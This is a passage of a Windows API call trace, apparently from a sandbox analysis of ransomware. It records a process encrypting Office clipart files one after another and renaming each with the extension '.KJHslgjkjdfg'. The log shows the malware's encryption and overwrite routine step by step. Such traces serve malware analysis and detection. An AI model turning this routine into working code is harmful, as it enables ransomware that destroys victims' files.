dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x20f0, dwBufLen=0x20f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x20f0) returned 1 [0159.479] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.479] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x20f0, lpOverlapped=0x0) returned 1 [0159.479] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.480] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x21c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.480] SetEndOfFile (hFile=0x114) returned 1 [0159.482] GetProcessHeap () returned 0x2a0000 [0159.482] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.482] GetProcessHeap () returned 0x2a0000 [0159.482] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.482] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf.kjhslgjkjdfg")) returned 1 [0159.483] CloseHandle (hObject=0x114) returned 1 [0159.483] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae630b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae630b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2a40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00397_.WMF", cAlternateFileName="")) returned 1 [0159.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.483] GetProcessHeap () returned 0x2a0000 [0159.483] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.483] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.484] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.484] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.484] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.484] GetProcessHeap () returned 0x2a0000 [0159.484] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.484] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.484] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.484] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.486] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.486] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.486] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.486] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.486] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.486] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.486] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.486] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.486] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2a40, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2a40, lpOverlapped=0x0) returned 1 [0159.487] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2a40, dwBufLen=0x2a40 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2a40) returned 1 [0159.487] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.487] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2a40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2a40, lpOverlapped=0x0) returned 1 [0159.487] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.487] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2b14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.488] SetEndOfFile (hFile=0x114) returned 1 [0159.490] GetProcessHeap () returned 0x2a0000 [0159.490] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.490] GetProcessHeap () returned 0x2a0000 [0159.490] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.490] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf.kjhslgjkjdfg")) returned 1 [0159.491] CloseHandle (hObject=0x114) returned 1 [0159.491] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad31de00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad31de00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1ec6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00403_.WMF", cAlternateFileName="")) returned 1 [0159.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.495] GetProcessHeap () returned 0x2a0000 [0159.495] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.495] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.495] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.495] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0159.497] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.497] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.497] GetProcessHeap () returned 0x2a0000 [0159.497] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.497] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.497] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.497] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.497] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.497] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.498] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.498] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.498] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.498] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.498] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.498] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.498] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1ec6, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1ec6, lpOverlapped=0x0) returned 1 [0159.499] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1ed0, dwBufLen=0x1ed0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1ed0) returned 1 [0159.499] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.499] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1ed0, lpOverlapped=0x0) returned 1 [0159.499] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.499] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1fa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.499] SetEndOfFile (hFile=0x114) returned 1 [0159.501] GetProcessHeap () returned 0x2a0000 [0159.501] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.501] GetProcessHeap () returned 0x2a0000 [0159.501] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.501] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf.kjhslgjkjdfg")) returned 1 [0159.502] CloseHandle (hObject=0x114) returned 1 [0159.502] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac00b100, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac00b100, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2afa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00414_.WMF", cAlternateFileName="")) returned 1 [0159.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.503] GetProcessHeap () returned 0x2a0000 [0159.503] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.503] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.503] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.503] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0159.506] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.506] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.506] GetProcessHeap () returned 0x2a0000 [0159.506] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.506] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.506] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.506] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.506] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.506] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.506] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.506] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.506] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.507] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.507] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.507] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.507] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2afa, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2afa, lpOverlapped=0x0) returned 1 [0159.507] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2b00, dwBufLen=0x2b00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2b00) returned 1 [0159.508] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.508] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2b00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2b00, lpOverlapped=0x0) returned 1 [0159.508] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.508] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.508] SetEndOfFile (hFile=0x114) returned 1 [0159.510] GetProcessHeap () returned 0x2a0000 [0159.510] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.510] GetProcessHeap () returned 0x2a0000 [0159.510] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.510] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf.kjhslgjkjdfg")) returned 1 [0159.511] CloseHandle (hObject=0x114) returned 1 [0159.511] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaacf8400, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaacf8400, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x400c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00419_.WMF", cAlternateFileName="")) returned 1 [0159.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.511] GetProcessHeap () returned 0x2a0000 [0159.511] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.511] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.512] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.512] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.513] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.514] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.514] GetProcessHeap () returned 0x2a0000 [0159.514] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.514] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.514] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.514] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.514] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.514] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.514] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.514] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.514] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.514] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.514] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.514] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.514] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x400c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x400c, lpOverlapped=0x0) returned 1 [0159.515] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4010, dwBufLen=0x4010 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4010) returned 1 [0159.515] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.515] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4010, lpOverlapped=0x0) returned 1 [0159.516] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.516] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x40e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.516] SetEndOfFile (hFile=0x114) returned 1 [0159.518] GetProcessHeap () returned 0x2a0000 [0159.518] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.518] GetProcessHeap () returned 0x2a0000 [0159.518] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.518] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf.kjhslgjkjdfg")) returned 1 [0159.519] CloseHandle (hObject=0x114) returned 1 [0159.519] FindNextFileW (in: 